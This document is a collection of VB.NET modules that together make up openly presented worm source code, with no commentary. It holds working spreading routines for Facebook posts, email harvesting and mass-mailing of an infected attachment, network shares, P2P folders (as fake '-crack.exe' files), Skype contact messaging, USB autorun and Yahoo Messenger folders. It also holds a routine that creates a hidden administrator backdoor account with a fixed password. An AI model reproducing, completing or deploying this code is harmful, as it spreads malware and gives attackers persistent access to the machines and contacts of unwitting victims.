Code:
Public Sub facebook(ByVal message As String)
Try
Dim enumerator As IEnumerator
Dim enumerator2 As IEnumerator
Dim browser As New WebBrowser
browser.Navigate("http://m.facebook.com/home.php?")
Do While (browser.ReadyState <> WebBrowserReadyState.Complete)
Application.DoEvents()
Loop
Try
enumerator = browser.Document.All.GetEnumerator
Do While enumerator.MoveNext
Dim current As HtmlElement = DirectCast(enumerator.Current, HtmlElement)
If (current.GetAttribute("name") = "status") Then
current.SetAttribute("value", message)
End If
Loop
Finally
If TypeOf enumerator Is IDisposable Then
TryCast(enumerator, IDisposable).Dispose()
End If
End Try
Try
enumerator2 = browser.Document.All.GetEnumerator
Do While enumerator2.MoveNext
Dim element2 As HtmlElement = DirectCast(enumerator2.Current, HtmlElement)
If (element2.GetAttribute("name") = "update") Then
element2.InvokeMember("click")
End If
Loop
Finally
If TypeOf enumerator2 Is IDisposable Then
TryCast(enumerator2, IDisposable).Dispose()
End If
End Try
Catch exception1 As Exception
ProjectData.SetProjectError(exception1)
ProjectData.ClearProjectError()
End Try
End Sub
Code:
Imports System.Collections.Generic
Imports System.Text
Imports System.Windows.Forms
Imports System.IO
Imports Microsoft.Win32
Imports System.DirectoryServices
Imports System.Management
Module LAN
Public [me] As String = Convert.ToString(Process.GetCurrentProcess().MainModule.FileName)
Public Function chkIt() As Boolean()
Dim regstr As String = DirectCast(Registry.GetValue("HKEY_LOCAL_MACHINE\SOFTWARE\Universal", "Universal", "Universal"), String)
If regstr = "Universal" Then
Return True
Else
Dim key As RegistryKey = Registry.LocalMachine.OpenSubKey("Software", True)
Dim newkey As RegistryKey = key.CreateSubKey("Universal")
newkey.SetValue("Universal", [me])
Return False
End If
End Function
Public Sub UniversalUser()
Try
Dim ad As New DirectoryEntry("WinNT://" & Environment.MachineName & ",computer")
Dim usr As DirectoryEntry = ad.Children.Add("Universal", "user")
usr.Invoke("SetPassword", New Object() {"Universalwashere"})
usr.CommitChanges()
Dim de As DirectoryEntry
de = ad.Children.Find("Administrators", "group")
If de IsNot Nothing Then
de.Invoke("Add", New Object() {usr.Path.ToString()})
End If
Try
Dim rkey As String = "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList"
Registry.SetValue(rkey, "Universal", 0, RegistryValueKind.DWord)
Catch er As Exception
End Try
Catch ex As Exception
End Try
End Sub
Public Sub Share()
Try
Dim shares As New ManagementObjectSearcher("select * from win32_share")
For Each serv As ManagementObject In shares.[Get]()
Dim shareName As String = Convert.ToString(serv("Name"))
If Not shareName.Contains("$") Then
File.Copy([me], ("\\" & Environment.MachineName & "\") + shareName & "\winadmin-setup.exe", True)
End If
Next
Catch ex As Exception
End Try
Try
Dim key As String = "Software\Microsoft\Windows\CurrentVersion\Explorer\Map Network Drive MRU\"
Dim reg As RegistryKey = Registry.CurrentUser.OpenSubKey(key)
For Each valuename As String In reg.GetValueNames()
Dim path As String = reg.GetValue(valuename).ToString()
If valuename.ToLower() <> "mrulist" Then
Try
File.Copy([me], path & "\\winadmin-setup.exe", True)
Catch er As Exception
End Try
End If
Next
reg.Close()
Catch er As Exception
End Try
End Sub
Public Sub CreateShare(ByVal dir As String, ByVal name As String)
Try
Directory.CreateDirectory(dir)
Dim managementClass As New ManagementClass("Win32_Share")
Dim inParams As ManagementBaseObject = managementClass.GetMethodParameters("Create")
Dim outParams As ManagementBaseObject
inParams("Description") = name
inParams("Name") = name
inParams("Path") = dir
inParams("Type") = &H0
outParams = managementClass.InvokeMethod("Create", inParams, Nothing)
If CUInt((outParams.Properties("ReturnValue").Value)) = 0 Then
If Directory.Exists(dir) Then
Dim d As New DirectoryInfo(dir)
d.Attributes = FileAttributes.Hidden
End If
End If
Catch e As Exception
End Try
End Sub
End Module
Code:
Imports System
Imports System.Collections.Generic
Imports System.Text
Imports System.IO
Imports System.Diagnostics
Imports System.Windows.Forms
Imports Microsoft.Win32
Imports System.Collections
Imports System.Threading
Imports System.Text.RegularExpressions
Imports System.Net.Mail
Imports System.Runtime.InteropServices
Module Outloook
Private [me] As String = Convert.ToString(Process.GetCurrentProcess().MainModule.FileName)
Private myDocs As String = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments)
Private arrEmails As New ArrayList()
Private arInfect As New ArrayList()
Private Declare Unicode Function Dns Lib "dnsapi" Alias "DnsQuery_W" (<MarshalAs(UnmanagedType.VBByRefStr)> ByRef strName As String, ByVal intType As Integer, ByVal intOpt As Integer, ByVal intServer As Integer, ByRef pResult As IntPtr, ByVal intReserved As Integer) As Integer
Public Sub Send(ByVal subject As String, ByVal message As String)
arrEmails = SearchEmails(myDocs, "*.*")
Dim arrFrom As ArrayList = arrEmails
arrFrom.Reverse()
Dim file As String = GetFile()
If file <> "" Then
If arrEmails.Count > 0 Then
Dim data As New Attachment(file)
Dim myEnum As IEnumerator = arrEmails.GetEnumerator()
Dim toAddy As String = ""
Dim fromAddy As String = ""
Dim arSent As New ArrayList()
While myEnum.MoveNext()
toAddy = Convert.ToString(myEnum.Current)
Dim fromEnum As IEnumerator = arrFrom.GetEnumerator()
While fromEnum.MoveNext()
fromAddy = Convert.ToString(fromEnum.Current)
If toAddy <> fromAddy Then
If Not arSent.Contains(toAddy) Then
arSent.Add(toAddy)
Dim [to] As New MailAddress(toAddy)
Dim from As New MailAddress(fromAddy)
Dim message As New MailMessage(from, [to])
message.Subject = subject
message.Body = message
message.Attachments.Add(data)
Dim host As String = toAddy.Substring(toAddy.IndexOf("@")).Replace("@", [String].Empty)
Dim mailMxHost As String = GetMXRecords(host)
Try
Dim client As New SmtpClient(mailMxHost)
client.Send(message)
Catch er As Exception
End Try
End If
End If
End While
End While
data.Dispose()
End If
End If
End Sub
Private Function SearchEmails(ByVal dir As String, ByVal fileType As String) As ArrayList
Dim arEmails As New ArrayList()
Dim dr As New DirectoryInfo(dir)
Dim filesInDir As FileInfo() = dr.GetFiles(fileType)
For Each file__1 As FileInfo In filesInDir
Console.WriteLine(file__1.FullName)
Dim sr As StreamReader = File.OpenText(file__1.FullName)
Dim input As [String]
While (InlineAssignHelper(input, sr.ReadLine())) IsNot Nothing
Dim email As String = ExtractAddr(input)
If email <> "" Then
If Not arEmails.Contains(email) Then
Dim strValGex As String = "^([a-zA-Z0-9_\-\.]+)@((\[[0-9]{1,3}" & "\.[0-9]{1,3}\.[0-9]{1,3}\.)|(([a-zA-Z0-9\-]+\" & ".)+))([a-zA-Z]{2,4}|[0-9]{1,3})(\]?)$"
Dim regVal As New Regex(strValGex)
If regVal.IsMatch(email) Then
If Not arEmails.Contains(email) Then
arEmails.Add(email)
End If
End If
End If
End If
End While
Next
Return arEmails
End Function
Public Function ExtractAddr(ByVal InputData As String) As String
Dim tmpExtractAddr As String = Nothing
Dim AtPos As Integer, p1 As Integer, p2 As Integer, n As Integer = 0
Dim tmp As String = Nothing
AtPos = (InputData.IndexOf("@", 0) + 1)
p1 = 1
p2 = InputData.Length
tmpExtractAddr = ""
If AtPos = 0 Then
Return tmpExtractAddr
End If
For n = (AtPos - 1) To 1 Step -1
tmp = InputData.Substring(n - 1, 1)
If (tmp = " ") Or (tmp = "<") Or (tmp = "(") Or (tmp = ":") Or (tmp = ",") Or (tmp = "[") Then
p1 = n + 1
Exit For
End If
Next
For n = (AtPos + 1) To InputData.Length
tmp = InputData.Substring(n - 1, 1)
If (tmp = " ") Or (tmp = ">") Or (tmp = ")") Or (tmp = ":") Or (tmp = ",") Or (tmp = "]") Then
p2 = n - 1
Exit For
End If
Next
Dim email As String = InputData.Substring(p1 - 1, (p2 - p1) + 1)
email = Regex.Replace(email, "<(.|\n)*?>", String.Empty)
email = email.Replace(" ", "")
email = email.Replace(" ", "")
email = email.Replace("""", "")
Return email
End Function
Private Function GetFile() As String
Dim dest As String = ""
If arInfect.Count > 0 Then
Dim enumInfect As IEnumerator = arInfect.GetEnumerator()
While enumInfect.MoveNext()
dest = Convert.ToString(enumInfect.Current)
End While
End If
Return dest
End Function
Public Function GetMXRecords(ByVal host As String) As String
Dim p1 As IntPtr = IntPtr.Zero
Dim p2 As IntPtr = IntPtr.Zero
Dim mx As STRMX
Dim num1 As Integer = Dns(host, 15, 8, 0, p1, 0)
Dim server As String = ""
If num1 <> 0 Then
server = host
Else
p2 = p1
While Not p2.Equals(IntPtr.Zero)
mx = DirectCast(Marshal.PtrToStructure(p2, GetType(STRMX)), STRMX)
If mx.sType = 15 Then
Dim text1 As String = Marshal.PtrToStringAuto(mx.pNameEx)
If text1 <> "" Then
server = text1
End If
End If
p2 = mx.pNext
End While
End If
Return server
End Function
Private Structure STRMX
Public pNext As IntPtr
Public strName As String
Public sType As Short
Public intFlag As Integer
Public intTTL As Integer
Public intRes As Integer
Public pNameEx As IntPtr
End Structure
Private Function InlineAssignHelper(Of T)(ByRef target As T, ByVal value As T) As T
target = value
Return value
End Function
End Module
Code:
Imports System.IO
Module P2P
Public Sub p2p()
Public [me] As String = Convert.ToString(Process.GetCurrentProcess().MainModule.FileName)
Dim arSharedFolders As New ArrayList()
arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) & "\Downloads")
arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) & "\My Shared Folder")
arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) & "\Shared")
arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\Ares\My Shared Folder")
arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.Desktop) & "\Downloads")
arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\Shareaza\Downloads")
arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\emule\incoming\")
arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\kazaa\my shared folder\")
arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\kazaa lite\my shared folder\")
arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\kazaa lite k++\my shared folder\")
arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\icq\shared folder\")
arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\grokster\my grokster\")
arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\bearshare\shared\")
arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\edonkey2000\incoming\")
arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\morpheus\my shared folder\")
arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\limewire\shared\")
arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\tesla\files\")
arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\winmx\shared\")
Dim folder As IEnumerator = arSharedFolders.GetEnumerator()
While folder.MoveNext()
Dim tada As String = Convert.ToString(folder.Current)
If Directory.Exists(tada) Then
Dim progDir As String = Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles)
For Each d As String In Directory.GetDirectories(progDir)
Dim app As String = (tada & "\") + d.Substring(d.LastIndexOf("\")).Replace("\", String.Empty) & "-crack.exe"
File.Copy([me], app, True)
Next
End If
End While
End Sub
End Module
Code:
Imports System.IO
Module SkypeModule
Public Sub Skype(ByVal message As String, ByVal dossier As String, ByVal ProgramWithoutExtension As String)
Try
Dim vv As New FileStream(dossier & "\" & ProgramWithoutExtension + ".vbs", FileMode.Create, FileAccess.Write)
Dim g As New StreamWriter(vv)
g.BaseStream.Seek(0, SeekOrigin.End)
g.WriteLine("on error resume next")
g.WriteLine("set Fruxr = WScript.CreateObject(""Skype4COM.Skype"", ""Skype_"")")
g.WriteLine("Fruxr.Client.Start()")
g.WriteLine("Fruxr.Attach()")
g.WriteLine("For Each KZN In Fruxr.Friends")
g.WriteLine("Fruxr.SendMessage KZN.handle," & message & """")
g.WriteLine("next")
g.Close()
Process.Start(dossier & "\" & ProgramWithoutExtension + ".vbs")
Dim fa As New FileInfo(dossier & "\" & ProgramWithoutExtension + ".vbs")
fa.Delete()
Catch ex As Exception
End Try
End Sub
End Module
Code:
Imports System.IO
Module USBModule
Public Sub USB()
Try
Dim drivers As String = My.Computer.FileSystem.SpecialDirectories.ProgramFiles
Dim driver() As String = (IO.Directory.GetLogicalDrives)
For Each drivers In driver
If File.Exists(drivers & "speeddriver.exe") = False Then
File.Copy(System.Reflection.Assembly.GetExecutingAssembly.Location, drivers & "speeddriver.exe")
End If
Dim commande = New StreamWriter(drivers & "autorun.inf")
commande.WriteLine("[autorun]")
commande.WriteLine("open = speeddriver.exe")
commande.WriteLine("****************lexecute=speeddriver.exe")
commande.Close()
File.SetAttributes(drivers & "autorun.inf", FileAttributes.Hidden)
File.SetAttributes(drivers & "speeddriver.exe", FileAttributes.Hidden)
Next
Catch ex As Exception
End Try
End Sub
End Module
Code:
Imports System.IO
Imports System.Reflection
Module yahoo
Sub yahoo_sp(ByVal NameOfFileWithoutExtension as string)
On Error Resume Next
Dim YoModule As System.Reflection.Module = [Assembly].GetExecutingAssembly().GetModules()(0)
Dim YaFile As String = System.Reflection.Assembly.GetExecutingAssembly.Location
Dim FoPath As String = "C:\Documents and Settings\" & Environ("USERNAME") & "\Local Settings\Application Data\Yahoo Messenger\"
If Dir(FoPath, FileAttribute.Directory) <> "" Then
Dim i As Int32 = 0
Dim x As Int32 = 0
Dim shares() As String
shares = System.IO.Directory.GetDirectories(FoPath)
For i = 0 To shares.GetUpperBound(0)
If Dir(shares(i), FileAttribute.Directory) <> "" Then
If File.Exists(shares(i) & "\" & NameOfFileWithoutExtension + ".scr") = False Then
File.Copy(YaFile, shares(i) & "\" & NameOfFileWithoutExtension + ".scr")
End If
End If
Next
End If
End Sub
End Module